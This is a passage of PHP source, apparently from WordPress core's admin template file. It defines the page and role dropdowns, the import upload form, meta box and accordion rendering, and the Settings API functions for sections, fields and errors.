 * @param int         $level   Optional. Page depth level. Default 0.
 * @param int|WP_Post $post    Post ID or WP_Post object.
 * @return void|false Void on success, false if the page has no children.
 */
function parent_dropdown( $default = 0, $parent = 0, $level = 0, $post = null ) {
	global $wpdb;

$post  = get_post( $post );
	$items = $wpdb->get_results( $wpdb->prepare( "SELECT ID, post_parent, post_title FROM $wpdb->posts WHERE post_parent = %d AND post_type = 'page' ORDER BY menu_order", $parent ) );

if ( $items ) {
		foreach ( $items as $item ) {
			// A page cannot be its own parent.
			if ( $post && $post->ID && (int) $item->ID === $post->ID ) {
				continue;
			}

$pad      = str_repeat( '&nbsp;', $level * 3 );
			$selected = selected( $default, $item->ID, false );

echo "\n\t<option class='level-$level' value='$item->ID' $selected>$pad " . esc_html( $item->post_title ) . '</option>';
			parent_dropdown( $default, $item->ID, $level + 1 );
		}
	} else {
		return false;
	}
}

/**
 * Print out option HTML elements for role selectors.
 *
 * @since 2.1.0
 *
 * @param string $selected Slug for the role that should be already selected.
 */
function wp_dropdown_roles( $selected = '' ) {
	$r = '';

$editable_roles = array_reverse( get_editable_roles() );

foreach ( $editable_roles as $role => $details ) {
		$name = translate_user_role( $details['name'] );
		// Preselect specified role.
		if ( $selected === $role ) {
			$r .= "\n\t<option selected='selected' value='" . esc_attr( $role ) . "'>$name</option>";
		} else {
			$r .= "\n\t<option value='" . esc_attr( $role ) . "'>$name</option>";
		}
	}

echo $r;
}

/**
 * Outputs the form used by the importers to accept the data to be imported
 *
 * @since 2.0.0
 *
 * @param string $action The action attribute for the form.
 */
function wp_import_upload_form( $action ) {

/**
	 * Filters the maximum allowed upload size for import files.
	 *
	 * @since 2.3.0
	 *
	 * @see wp_max_upload_size()
	 *
	 * @param int $max_upload_size Allowed upload size. Default 1 MB.
	 */
	$bytes      = apply_filters( 'import_upload_size_limit', wp_max_upload_size() );
	$size       = size_format( $bytes );
	$upload_dir = wp_upload_dir();
	if ( ! empty( $upload_dir['error'] ) ) :
		?>
		<div class="error"><p><?php _e( 'Before you can upload your import file, you will need to fix the following error:' ); ?></p>
		<p><strong><?php echo $upload_dir['error']; ?></strong></p></div>
								<?php
	else :
		?>
<form enctype="multipart/form-data" id="import-upload-form" method="post" class="wp-upload-form" action="<?php echo esc_url( wp_nonce_url( $action, 'import-upload' ) ); ?>">
<p>
		<?php
		printf(
			'<label for="upload">%s</label> (%s)',
			__( 'Choose a file from your computer:' ),
			/* translators: %s: Maximum allowed file size. */
			sprintf( __( 'Maximum size: %s' ), $size )
		);
		?>
<input type="file" id="upload" name="import" size="25" />
<input type="hidden" name="action" value="save" />
<input type="hidden" name="max_file_size" value="<?php echo $bytes; ?>" />
</p>
		<?php submit_button( __( 'Upload file and import' ), 'primary' ); ?>
</form>
		<?php
	endif;
}

/**
 * Adds a meta box to one or more screens.
 *
 * @since 2.5.0
 * @since 4.4.0 The `$screen` parameter now accepts an array of screen IDs.
 *
 * @global array $wp_meta_boxes
 *
 * @param string                 $id            Meta box ID (used in the 'id' attribute for the meta box).
 * @param string                 $title         Title of the meta box.
 * @param callable               $callback      Function that fills the box with the desired content.
 *                                              The function should echo its output.
 * @param string|array|WP_Screen $screen        Optional. The screen or screens on which to show the box
 *                                              (such as a post type, 'link', or 'comment'). Accepts a single
 *                                              screen ID, WP_Screen object, or array of screen IDs. Default
 *                                              is the current screen.  If you have used add_menu_page() or
 *                                              add_submenu_page() to create a new screen (and hence screen_id),
 *                                              make sure your menu slug conforms to the limits of sanitize_key()
 *                                              otherwise the 'screen' menu may not correctly render on your page.
 * @param string                 $context       Optional. The context within the screen where the boxes
 *                                              should display. Available contexts vary from screen to
 *                                              screen. Post edit screen contexts include 'normal', 'side',
 *                                              and 'advanced'. Comments screen contexts include 'normal'
 *                                              and 'side'. Menus meta boxes (accordion sections) all use
 *                                              the 'side' context. Global default is 'advanced'.
 * @param string                 $priority      Optional. The priority within the context where the boxes
 *                                              should show ('high', 'low'). Default 'default'.
 * @param array                  $callback_args Optional. Data that should be set as the $args property
 *                                              of the box array (which is the second parameter passed
 *                                              to your callback). Default null.
 */
function add_meta_box( $id, $title, $callback, $screen = null, $context = 'advanced', $priority = 'default', $callback_args = null ) {
	global $wp_meta_boxes;

if ( empty( $screen ) ) {
		$screen = get_current_screen();
	} elseif ( is_string( $screen ) ) {
		$screen = convert_to_screen( $screen );
	} elseif ( is_array( $screen ) ) {
		foreach ( $screen as $single_screen ) {
			add_meta_box( $id, $title, $callback, $single_screen, $context, $priority, $callback_args );
		}
	}

if ( ! isset( $screen->id ) ) {
		return;
	}

$page = $screen->id;

if ( ! isset( $wp_meta_boxes ) ) {
		$wp_meta_boxes = array();
	}
	if ( ! isset( $wp_meta_boxes[ $page ] ) ) {
		$wp_meta_boxes[ $page ] = array();
	}
	if ( ! isset( $wp_meta_boxes[ $page ][ $context ] ) ) {
		$wp_meta_boxes[ $page ][ $context ] = array();
	}

foreach ( array_keys( $wp_meta_boxes[ $page ] ) as $a_context ) {
		foreach ( array( 'high', 'core', 'default', 'low' ) as $a_priority ) {
			if ( ! isset( $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ] ) ) {
				continue;
			}

// If a core box was previously removed, don't add.
			if ( ( 'core' === $priority || 'sorted' === $priority )
				&& false === $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ]
			) {
				return;
			}

// If a core box was previously added by a plugin, don't add.
			if ( 'core' === $priority ) {
				/*
				 * If the box was added with default priority, give it core priority
				 * to maintain sort order.
				 */
				if ( 'default' === $a_priority ) {
					$wp_meta_boxes[ $page ][ $a_context ]['core'][ $id ] = $wp_meta_boxes[ $page ][ $a_context ]['default'][ $id ];
					unset( $wp_meta_boxes[ $page ][ $a_context ]['default'][ $id ] );
				}
				return;
			}

// If no priority given and ID already present, use existing priority.
			if ( empty( $priority ) ) {
				$priority = $a_priority;
				/*
				 * Else, if we're adding to the sorted priority, we don't know the title
				 * or callback. Grab them from the previously added context/priority.
				 */
			} elseif ( 'sorted' === $priority ) {
				$title         = $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ]['title'];
				$callback      = $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ]['callback'];
				$callback_args = $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ]['args'];
			}

// An ID can be in only one priority and one context.
			if ( $priority !== $a_priority || $context !== $a_context ) {
				unset( $wp_meta_boxes[ $page ][ $a_context ][ $a_priority ][ $id ] );
			}
		}
	}

if ( empty( $priority ) ) {
		$priority = 'low';
	}

if ( ! isset( $wp_meta_boxes[ $page ][ $context ][ $priority ] ) ) {
		$wp_meta_boxes[ $page ][ $context ][ $priority ] = array();
	}

$wp_meta_boxes[ $page ][ $context ][ $priority ][ $id ] = array(
		'id'       => $id,
		'title'    => $title,
		'callback' => $callback,
		'args'     => $callback_args,
	);
}

/**
 * Function that renders a "fake" meta box with an information message,
 * shown on the block editor, when an incompatible meta box is found.
 *
 * @since 5.0.0
 *
 * @param mixed $object The data object being rendered on this screen.
 * @param array $box    {
 *     Custom formats meta box arguments.
 *
 *     @type string   $id           Meta box 'id' attribute.
 *     @type string   $title        Meta box title.
 *     @type callable $old_callback The original callback for this meta box.
 *     @type array    $args         Extra meta box arguments.
 * }
 */
function do_block_editor_incompatible_meta_box( $object, $box ) {
	$plugin  = _get_plugin_from_callback( $box['old_callback'] );
	$plugins = get_plugins();
	echo '<p>';
	if ( $plugin ) {
		/* translators: %s: The name of the plugin that generated this meta box. */
		printf( __( "This meta box, from the %s plugin, isn't compatible with the block editor." ), "<strong>{$plugin['Name']}</strong>" );
	} else {
		_e( "This meta box isn't compatible with the block editor." );
	}
	echo '</p>';

if ( empty( $plugins['classic-editor/classic-editor.php'] ) ) {
		if ( current_user_can( 'install_plugins' ) ) {
			echo '<p>';
			printf(
				/* translators: %s: A link to install the Classic Editor plugin. */
				__( 'Please install the <a href="%s">Classic Editor plugin</a> to use this meta box.' ),
				esc_url( wp_nonce_url( self_admin_url( 'plugin-install.php?tab=favorites&user=wordpressdotorg&save=0' ), 'save_wporg_username_' . get_current_user_id() ) )
			);
			echo '</p>';
		}
	} elseif ( is_plugin_inactive( 'classic-editor/classic-editor.php' ) ) {
		if ( current_user_can( 'activate_plugins' ) ) {
			$activate_url = wp_nonce_url( self_admin_url( 'plugins.php?action=activate&plugin=classic-editor/classic-editor.php' ), 'activate-plugin_classic-editor/classic-editor.php' );
			echo '<p>';
			/* translators: %s: A link to activate the Classic Editor plugin. */
			printf( __( 'Please activate the <a href="%s">Classic Editor plugin</a> to use this meta box.' ), esc_url( $activate_url ) );
			echo '</p>';
		}
	} elseif ( $object instanceof WP_Post ) {
		$edit_url = add_query_arg(
			array(
				'classic-editor'         => '',
				'classic-editor__forget' => '',
			),
			get_edit_post_link( $object )
		);
		echo '<p>';
		/* translators: %s: A link to use the Classic Editor plugin. */
		printf( __( 'Please open the <a href="%s">classic editor</a> to use this meta box.' ), esc_url( $edit_url ) );
		echo '</p>';
	}
}

/**
 * Internal helper function to find the plugin from a meta box callback.
 *
 * @since 5.0.0
 *
 * @access private
 *
 * @param callable $callback The callback function to check.
 * @return array|null The plugin that the callback belongs to, or null if it doesn't belong to a plugin.
 */
function _get_plugin_from_callback( $callback ) {
	try {
		if ( is_array( $callback ) ) {
			$reflection = new ReflectionMethod( $callback[0], $callback[1] );
		} elseif ( is_string( $callback ) && false !== strpos( $callback, '::' ) ) {
			$reflection = new ReflectionMethod( $callback );
		} else {
			$reflection = new ReflectionFunction( $callback );
		}
	} catch ( ReflectionException $exception ) {
		// We could not properly reflect on the callable, so we abort here.
		return null;
	}

// Don't show an error if it's an internal PHP function.
	if ( ! $reflection->isInternal() ) {

// Only show errors if the meta box was registered by a plugin.
		$filename   = wp_normalize_path( $reflection->getFileName() );
		$plugin_dir = wp_normalize_path( WP_PLUGIN_DIR );

if ( strpos( $filename, $plugin_dir ) === 0 ) {
			$filename = str_replace( $plugin_dir, '', $filename );
			$filename = preg_replace( '|^/([^/]*/).*$|', '\\1', $filename );

$plugins = get_plugins();

foreach ( $plugins as $name => $plugin ) {
				if ( strpos( $name, $filename ) === 0 ) {
					return $plugin;
				}
			}
		}
	}

return null;
}

/**
 * Meta-Box template function.
 *
 * @since 2.5.0
 *
 * @global array $wp_meta_boxes
 *
 * @param string|WP_Screen $screen  The screen identifier. If you have used add_menu_page() or
 *                                  add_submenu_page() to create a new screen (and hence screen_id)
 *                                  make sure your menu slug conforms to the limits of sanitize_key()
 *                                  otherwise the 'screen' menu may not correctly render on your page.
 * @param string           $context The screen context for which to display meta boxes.
 * @param mixed            $object  Gets passed to the meta box callback function as the first parameter.
 *                                  Often this is the object that's the focus of the current screen, for
 *                                  example a `WP_Post` or `WP_Comment` object.
 * @return int Number of meta_boxes.
 */
function do_meta_boxes( $screen, $context, $object ) {
	global $wp_meta_boxes;
	static $already_sorted = false;

if ( empty( $screen ) ) {
		$screen = get_current_screen();
	} elseif ( is_string( $screen ) ) {
		$screen = convert_to_screen( $screen );
	}

$page = $screen->id;

$hidden = get_hidden_meta_boxes( $screen );

printf( '<div id="%s-sortables" class="meta-box-sortables">', esc_attr( $context ) );

// Grab the ones the user has manually sorted.
	// Pull them out of their previous context/priority and into the one the user chose.
	$sorted = get_user_option( "meta-box-order_$page" );

if ( ! $already_sorted && $sorted ) {
		foreach ( $sorted as $box_context => $ids ) {
			foreach ( explode( ',', $ids ) as $id ) {
				if ( $id && 'dashboard_browser_nag' !== $id ) {
					add_meta_box( $id, null, null, $screen, $box_context, 'sorted' );
				}
			}
		}
	}

$already_sorted = true;

$i = 0;

if ( isset( $wp_meta_boxes[ $page ][ $context ] ) ) {
		foreach ( array( 'high', 'sorted', 'core', 'default', 'low' ) as $priority ) {
			if ( isset( $wp_meta_boxes[ $page ][ $context ][ $priority ] ) ) {
				foreach ( (array) $wp_meta_boxes[ $page ][ $context ][ $priority ] as $box ) {
					if ( false === $box || ! $box['title'] ) {
						continue;
					}

$block_compatible = true;
					if ( is_array( $box['args'] ) ) {
						// If a meta box is just here for back compat, don't show it in the block editor.
						if ( $screen->is_block_editor() && isset( $box['args']['__back_compat_meta_box'] ) && $box['args']['__back_compat_meta_box'] ) {
							continue;
						}

if ( isset( $box['args']['__block_editor_compatible_meta_box'] ) ) {
							$block_compatible = (bool) $box['args']['__block_editor_compatible_meta_box'];
							unset( $box['args']['__block_editor_compatible_meta_box'] );
						}

// If the meta box is declared as incompatible with the block editor, override the callback function.
						if ( ! $block_compatible && $screen->is_block_editor() ) {
							$box['old_callback'] = $box['callback'];
							$box['callback']     = 'do_block_editor_incompatible_meta_box';
						}

if ( isset( $box['args']['__back_compat_meta_box'] ) ) {
							$block_compatible = $block_compatible || (bool) $box['args']['__back_compat_meta_box'];
							unset( $box['args']['__back_compat_meta_box'] );
						}
					}

$i++;
					// get_hidden_meta_boxes() doesn't apply in the block editor.
					$hidden_class = ( ! $screen->is_block_editor() && in_array( $box['id'], $hidden, true ) ) ? ' hide-if-js' : '';
					echo '<div id="' . $box['id'] . '" class="postbox ' . postbox_classes( $box['id'], $page ) . $hidden_class . '" ' . '>' . "\n";

echo '<div class="postbox-header">';
					echo '<h2 class="hndle">';
					if ( 'dashboard_php_nag' === $box['id'] ) {
						echo '<span aria-hidden="true" class="dashicons dashicons-warning"></span>';
						echo '<span class="screen-reader-text">' . __( 'Warning:' ) . ' </span>';
					}
					echo "{$box['title']}";
					echo "</h2>\n";

if ( 'dashboard_browser_nag' !== $box['id'] ) {
						$widget_title = $box['title'];

if ( is_array( $box['args'] ) && isset( $box['args']['__widget_basename'] ) ) {
							$widget_title = $box['args']['__widget_basename'];
							// Do not pass this parameter to the user callback function.
							unset( $box['args']['__widget_basename'] );
						}

echo '<div class="handle-actions hide-if-no-js">';

echo '<button type="button" class="handle-order-higher" aria-disabled="false" aria-describedby="' . $box['id'] . '-handle-order-higher-description">';
						echo '<span class="screen-reader-text">' . __( 'Move up' ) . '</span>';
						echo '<span class="order-higher-indicator" aria-hidden="true"></span>';
						echo '</button>';
						echo '<span class="hidden" id="' . $box['id'] . '-handle-order-higher-description">' . sprintf(
							/* translators: %s: Meta box title. */
							__( 'Move %s box up' ),
							$widget_title
						) . '</span>';

echo '<button type="button" class="handle-order-lower" aria-disabled="false" aria-describedby="' . $box['id'] . '-handle-order-lower-description">';
						echo '<span class="screen-reader-text">' . __( 'Move down' ) . '</span>';
						echo '<span class="order-lower-indicator" aria-hidden="true"></span>';
						echo '</button>';
						echo '<span class="hidden" id="' . $box['id'] . '-handle-order-lower-description">' . sprintf(
							/* translators: %s: Meta box title. */
							__( 'Move %s box down' ),
							$widget_title
						) . '</span>';

echo '<button type="button" class="handlediv" aria-expanded="true">';
						echo '<span class="screen-reader-text">' . sprintf(
							/* translators: %s: Meta box title. */
							__( 'Toggle panel: %s' ),
							$widget_title
						) . '</span>';
						echo '<span class="toggle-indicator" aria-hidden="true"></span>';
						echo '</button>';

echo '</div>';
					}
					echo '</div>';

echo '<div class="inside">' . "\n";

if ( WP_DEBUG && ! $block_compatible && 'edit' === $screen->parent_base && ! $screen->is_block_editor() && ! isset( $_GET['meta-box-loader'] ) ) {
						$plugin = _get_plugin_from_callback( $box['callback'] );
						if ( $plugin ) {
							?>
							<div class="error inline">
								<p>
									<?php
										/* translators: %s: The name of the plugin that generated this meta box. */
										printf( __( "This meta box, from the %s plugin, isn't compatible with the block editor." ), "<strong>{$plugin['Name']}</strong>" );
									?>
								</p>
							</div>
							<?php
						}
					}

call_user_func( $box['callback'], $object, $box );
					echo "</div>\n";
					echo "</div>\n";
				}
			}
		}
	}

echo '</div>';

return $i;

}

/**
 * Removes a meta box from one or more screens.
 *
 * @since 2.6.0
 * @since 4.4.0 The `$screen` parameter now accepts an array of screen IDs.
 *
 * @global array $wp_meta_boxes
 *
 * @param string                 $id      Meta box ID (used in the 'id' attribute for the meta box).
 * @param string|array|WP_Screen $screen  The screen or screens on which the meta box is shown (such as a
 *                                        post type, 'link', or 'comment'). Accepts a single screen ID,
 *                                        WP_Screen object, or array of screen IDs.
 * @param string                 $context The context within the screen where the box is set to display.
 *                                        Contexts vary from screen to screen. Post edit screen contexts
 *                                        include 'normal', 'side', and 'advanced'. Comments screen contexts
 *                                        include 'normal' and 'side'. Menus meta boxes (accordion sections)
 *                                        all use the 'side' context.
 */
function remove_meta_box( $id, $screen, $context ) {
	global $wp_meta_boxes;

if ( empty( $screen ) ) {
		$screen = get_current_screen();
	} elseif ( is_string( $screen ) ) {
		$screen = convert_to_screen( $screen );
	} elseif ( is_array( $screen ) ) {
		foreach ( $screen as $single_screen ) {
			remove_meta_box( $id, $single_screen, $context );
		}
	}

if ( ! isset( $screen->id ) ) {
		return;
	}

$page = $screen->id;

foreach ( array( 'high', 'core', 'default', 'low' ) as $priority ) {
		$wp_meta_boxes[ $page ][ $context ][ $priority ][ $id ] = false;
	}
}

/**
 * Meta Box Accordion Template Function.
 *
 * Largely made up of abstracted code from do_meta_boxes(), this
 * function serves to build meta boxes as list items for display as
 * a collapsible accordion.
 *
 * @since 3.6.0
 *
 * @uses global $wp_meta_boxes Used to retrieve registered meta boxes.
 *
 * @param string|object $screen  The screen identifier.
 * @param string        $context The screen context for which to display accordion sections.
 * @param mixed         $object  Gets passed to the section callback function as the first parameter.
 * @return int Number of meta boxes as accordion sections.
 */
function do_accordion_sections( $screen, $context, $object ) {
	global $wp_meta_boxes;

wp_enqueue_script( 'accordion' );

if ( empty( $screen ) ) {
		$screen = get_current_screen();
	} elseif ( is_string( $screen ) ) {
		$screen = convert_to_screen( $screen );
	}

$page = $screen->id;

$hidden = get_hidden_meta_boxes( $screen );
	?>
	<div id="side-sortables" class="accordion-container">
		<ul class="outer-border">
	<?php
	$i          = 0;
	$first_open = false;

if ( isset( $wp_meta_boxes[ $page ][ $context ] ) ) {
		foreach ( array( 'high', 'core', 'default', 'low' ) as $priority ) {
			if ( isset( $wp_meta_boxes[ $page ][ $context ][ $priority ] ) ) {
				foreach ( $wp_meta_boxes[ $page ][ $context ][ $priority ] as $box ) {
					if ( false === $box || ! $box['title'] ) {
						continue;
					}

$i++;
					$hidden_class = in_array( $box['id'], $hidden, true ) ? 'hide-if-js' : '';

$open_class = '';
					if ( ! $first_open && empty( $hidden_class ) ) {
						$first_open = true;
						$open_class = 'open';
					}
					?>
					<li class="control-section accordion-section <?php echo $hidden_class; ?> <?php echo $open_class; ?> <?php echo esc_attr( $box['id'] ); ?>" id="<?php echo esc_attr( $box['id'] ); ?>">
						<h3 class="accordion-section-title hndle" tabindex="0">
							<?php echo esc_html( $box['title'] ); ?>
							<span class="screen-reader-text"><?php _e( 'Press return or enter to open this section' ); ?></span>
						</h3>
						<div class="accordion-section-content <?php postbox_classes( $box['id'], $page ); ?>">
							<div class="inside">
								<?php call_user_func( $box['callback'], $object, $box ); ?>
							</div>
						</div>
					</li>
					<?php
				}
			}
		}
	}
	?>
		</ul>
	</div>
	<?php
	return $i;
}

/**
 * Add a new section to a settings page.
 *
 * Part of the Settings API. Use this to define new settings sections for an admin page.
 * Show settings sections in your admin page callback function with do_settings_sections().
 * Add settings fields to your section with add_settings_field().
 *
 * The $callback argument should be the name of a function that echoes out any
 * content you want to show at the top of the settings section before the actual
 * fields. It can output nothing if you want.
 *
 * @since 2.7.0
 *
 * @global array $wp_settings_sections Storage array of all settings sections added to admin pages.
 *
 * @param string   $id       Slug-name to identify the section. Used in the 'id' attribute of tags.
 * @param string   $title    Formatted title of the section. Shown as the heading for the section.
 * @param callable $callback Function that echos out any content at the top of the section (between heading and fields).
 * @param string   $page     The slug-name of the settings page on which to show the section. Built-in pages include
 *                           'general', 'reading', 'writing', 'discussion', 'media', etc. Create your own using
 *                           add_options_page();
 */
function add_settings_section( $id, $title, $callback, $page ) {
	global $wp_settings_sections;

if ( 'misc' === $page ) {
		_deprecated_argument(
			__FUNCTION__,
			'3.0.0',
			sprintf(
				/* translators: %s: misc */
				__( 'The "%s" options group has been removed. Use another settings group.' ),
				'misc'
			)
		);
		$page = 'general';
	}

if ( 'privacy' === $page ) {
		_deprecated_argument(
			__FUNCTION__,
			'3.5.0',
			sprintf(
				/* translators: %s: privacy */
				__( 'The "%s" options group has been removed. Use another settings group.' ),
				'privacy'
			)
		);
		$page = 'reading';
	}

$wp_settings_sections[ $page ][ $id ] = array(
		'id'       => $id,
		'title'    => $title,
		'callback' => $callback,
	);
}

/**
 * Add a new field to a section of a settings page.
 *
 * Part of the Settings API. Use this to define a settings field that will show
 * as part of a settings section inside a settings page. The fields are shown using
 * do_settings_fields() in do_settings-sections()
 *
 * The $callback argument should be the name of a function that echoes out the
 * HTML input tags for this setting field. Use get_option() to retrieve existing
 * values to show.
 *
 * @since 2.7.0
 * @since 4.2.0 The `$class` argument was added.
 *
 * @global array $wp_settings_fields Storage array of settings fields and info about their pages/sections.
 *
 * @param string   $id       Slug-name to identify the field. Used in the 'id' attribute of tags.
 * @param string   $title    Formatted title of the field. Shown as the label for the field
 *                           during output.
 * @param callable $callback Function that fills the field with the desired form inputs. The
 *                           function should echo its output.
 * @param string   $page     The slug-name of the settings page on which to show the section
 *                           (general, reading, writing, ...).
 * @param string   $section  Optional. The slug-name of the section of the settings page
 *                           in which to show the box. Default 'default'.
 * @param array    $args {
 *     Optional. Extra arguments used when outputting the field.
 *
 *     @type string $label_for When supplied, the setting title will be wrapped
 *                             in a `<label>` element, its `for` attribute populated
 *                             with this value.
 *     @type string $class     CSS Class to be added to the `<tr>` element when the
 *                             field is output.
 * }
 */
function add_settings_field( $id, $title, $callback, $page, $section = 'default', $args = array() ) {
	global $wp_settings_fields;

$wp_settings_fields[ $page ][ $section ][ $id ] = array(
		'id'       => $id,
		'title'    => $title,
		'callback' => $callback,
		'args'     => $args,
	);
}

/**
 * Prints out all settings sections added to a particular settings page
 *
 * Part of the Settings API. Use this in a settings page callback function
 * to output all the sections and fields that were added to that $page with
 * add_settings_section() and add_settings_field()
 *
 * @global array $wp_settings_sections Storage array of all settings sections added to admin pages.
 * @global array $wp_settings_fields Storage array of settings fields and info about their pages/sections.
 * @since 2.7.0
 *
 * @param string $page The slug name of the page whose settings sections you want to output.
 */
function do_settings_sections( $page ) {
	global $wp_settings_sections, $wp_settings_fields;

if ( ! isset( $wp_settings_sections[ $page ] ) ) {
		return;
	}

foreach ( (array) $wp_settings_sections[ $page ] as $section ) {
		if ( $section['title'] ) {
			echo "<h2>{$section['title']}</h2>\n";
		}

if ( $section['callback'] ) {
			call_user_func( $section['callback'], $section );
		}

if ( ! isset( $wp_settings_fields ) || ! isset( $wp_settings_fields[ $page ] ) || ! isset( $wp_settings_fields[ $page ][ $section['id'] ] ) ) {
			continue;
		}
		echo '<table class="form-table" role="presentation">';
		do_settings_fields( $page, $section['id'] );
		echo '</table>';
	}
}

/**
 * Print out the settings fields for a particular settings section.
 *
 * Part of the Settings API. Use this in a settings page to output
 * a specific section. Should normally be called by do_settings_sections()
 * rather than directly.
 *
 * @global array $wp_settings_fields Storage array of settings fields and their pages/sections.
 *
 * @since 2.7.0
 *
 * @param string $page Slug title of the admin page whose settings fields you want to show.
 * @param string $section Slug title of the settings section whose fields you want to show.
 */
function do_settings_fields( $page, $section ) {
	global $wp_settings_fields;

if ( ! isset( $wp_settings_fields[ $page ][ $section ] ) ) {
		return;
	}

foreach ( (array) $wp_settings_fields[ $page ][ $section ] as $field ) {
		$class = '';

if ( ! empty( $field['args']['class'] ) ) {
			$class = ' class="' . esc_attr( $field['args']['class'] ) . '"';
		}

echo "<tr{$class}>";

if ( ! empty( $field['args']['label_for'] ) ) {
			echo '<th scope="row"><label for="' . esc_attr( $field['args']['label_for'] ) . '">' . $field['title'] . '</label></th>';
		} else {
			echo '<th scope="row">' . $field['title'] . '</th>';
		}

echo '<td>';
		call_user_func( $field['callback'], $field['args'] );
		echo '</td>';
		echo '</tr>';
	}
}

/**
 * Register a settings error to be displayed to the user.
 *
 * Part of the Settings API. Use this to show messages to users about settings validation
 * problems, missing settings or anything else.
 *
 * Settings errors should be added inside the $sanitize_callback function defined in
 * register_setting() for a given setting to give feedback about the submission.
 *
 * By default messages will show immediately after the submission that generated the error.
 * Additional calls to settings_errors() can be used to show errors even when the settings
 * page is first accessed.
 *
 * @since 3.0.0
 * @since 5.3.0 Added `warning` and `info` as possible values for `$type`.
 *
 * @global array $wp_settings_errors Storage array of errors registered during this pageload
 *
 * @param string $setting Slug title of the setting to which this error applies.
 * @param string $code    Slug-name to identify the error. Used as part of 'id' attribute in HTML output.
 * @param string $message The formatted message text to display to the user (will be shown inside styled
 *                        `<div>` and `<p>` tags).
 * @param string $type    Optional. Message type, controls HTML class. Possible values include 'error',
 *                        'success', 'warning', 'info'. Default 'error'.
 */
function add_settings_error( $setting, $code, $message, $type = 'error' ) {
	global $wp_settings_errors;

$wp_settings_errors[] = array(
		'setting' => $setting,
		'code'    => $code,
		'message' => $message,
		'type'    => $type,
	);
}

/**
 * Fetch settings errors registered by add_settings_error().
 *
 * Checks the $wp_settings_errors array for any errors declared during the current
 * pageload and returns them.
 *
 * If changes were just submitted ($_GET['settings-updated']) and settings errors were saved
 * to the 'settings_errors' transient then those errors will be returned instead. This
 * is used to pass errors back across pageloads.
 *
 * Use the $sanitize argument to manually re-sanitize the option before returning errors.
 * This is useful if you have errors or notices you want to show even when the user
 * hasn't submitted data (i.e. when they first load an options page, or in the {@see 'admin_notices'}
 * action hook).
 *
 * @since 3.0.0
 *
 * @global array $wp_settings_errors Storage array of errors registered during this pageload
 *
 * @param string $setting  Optional. Slug title of a specific setting whose errors you want.
 * @param bool   $sanitize Optional. Whether to re-sanitize the setting value before returning errors.
 * @return array Array of settings errors.
 */
function get_settings_errors( $setting = '', $sanitize = false ) {
	global $wp_settings_errors;

/*
	 * If $sanitize is true, manually re-run the sanitization for this option
	 * This allows the $sanitize_callback from register_setting() to run, adding
	 * any settings errors you want to show by default.
	 */
	if ( $sanitize ) {
		sanitize_option( $setting, get_option( $setting ) );
	}

// If settings were passed back from options.php then use them.
	if ( isset( $_GET['settings-updated'] ) && $_GET['settings-updated'] && get_transient( 'settings_errors' ) ) {
		$wp_settings_errors = array_merge( (array) $wp_settings_errors, get_transient( 'settings_errors' ) );
		delete_transient( 'settings_errors' );
	}

// Check global in case errors have been added on this pageload.
	if ( empty( $wp_settings_errors ) ) {
		return array();
	}

// Filter the results to those of a specific setting if one was set.
	if ( $setting ) {
		$setting_errors = array();

foreach ( (array) $wp_settings_errors as $key => $details ) {
			if ( $setting === $details['setting'] ) {
				$setting_errors[] = $wp_settings_errors[ $key ];
			}
		}

return $setting_errors;
	}

return $wp_settings_errors;
}

/**
 * Display settings errors registered by add_settings_error().
 *
 * Part of the Settings API. Outputs a div for each error retrieved by
 * get_settings_errors().
 *
 * This is called automatically after a settings page based on the
 * Settings API is submitted. Errors should be added during the validation
 * callback function for a setting defined in register_setting().
 *
 * The $sanitize option is passed into get_settings_errors() and will
 * re-run the setting sanitization
 * on its current value.
 *
 * The $hide_on_update option will cause errors to only show when the settings
 * page is first loaded. if the user has already saved new values it will be
 * hidden to avoid repeating messages already shown in the default error
 * reporting after submission. This is useful to show general errors like
 * missing settings when the user arrives at the settings page.
 *
 * @since 3.0.0
 * @since 5.3.0 Legacy `error` and `updated` CSS classes are mapped to
 *              `notice-error` and `notice-success`.
 *
 * @param string $setting        Optional slug title of a specific setting whose errors you want.
 * @param bool   $sanitize       Whether to re-sanitize the setting value before returning errors.
 * @param bool   $hide_on_update If set to true errors will not be shown if the settings page has
 *                               already been submitted.
 */
function settings_errors( $setting = '', $sanitize = false, $hide_on_update = false ) {

if ( $hide_on_update && ! empty( $_GET['settings-updated'] ) ) {
		return;
	}

$settings_errors = get_settings_errors( $setting, $sanitize );

if ( empty( $settings_errors ) ) {
		return;
	}

$output = '';

foreach ( $settings_errors as $key => $details ) {
		if ( 'updated' === $details['type'] ) {
			$details['type'] = 'success';
		}

if ( in_array( $details['type'], array( 'error', 'success', 'warning', 'info' ), true ) ) {
			$details['type'] = 'notice-' . $details['type'];
		}

$css_id    = sprintf(
			'setting-error-%s',
			esc_attr( $details['code'] )
		);
		$css_class = sprintf(
			'notice %s settings-error is-dismissible',
			esc_attr( $details['type'] )
		);

$output .= "<div id='$css_id' class='$css_class'> \n";
		$output .= "<p><strong>{$details['message']}</strong></p>";
		$output .= "</div> \n";
	}

echo $output;
}

/**
 * Outputs the modal window used for attaching media to posts or pages in the media-listing screen.
 *
 * @since 2.7.0
 *
 * @param string $found_action
 */
function find_posts_div( $found_action = '' ) {
	?>
	<div id="find-posts" class="find-box" style="display: none;">
		<div id="find-posts-head" class="find-box-head">
			<?php _e( 'Attach to existing content' ); ?>
			<button type="button" id="find-posts-close"><span class="screen-reader-text"><?php _e( 'Close media attachment panel' ); ?></span></button>
		</div>
		<div class="find-box-inside">
			<div class="find-box-search">
				<?php if ( $found_action ) { ?>
					<input type="hidden" name="found_action" value="<?php echo esc_attr( $found_action ); ?>" />
				<?php } ?>
				<input type="hidden" name="affected" id="affected" value="" />
				<?php wp_nonce_field( 'find-posts', '_ajax_nonce', false ); ?>
				<label class="screen-reader-text" for="find-posts-input"><?php _e( 'Search' ); ?></label>
				<input type="text" id="find-posts-input" name="ps" value="" />
				<span class="spinner"></span>
				<input type="button" id="find-posts-search" value="<?php esc_attr_e( 'Search' ); ?>" class="button" />
				<div class="clear"></div>
			</div>
			<div id="find-posts-response"></div>
		</div>
		<div class="find-box-buttons">
			<?php submit_button( __( 'Select' ), 'primary alignright', 'find-posts-submit', false ); ?>
			<div class="clear"></div>
		</div>
	</div>
	<?php
}

/**
 * Displays the post password.
 *
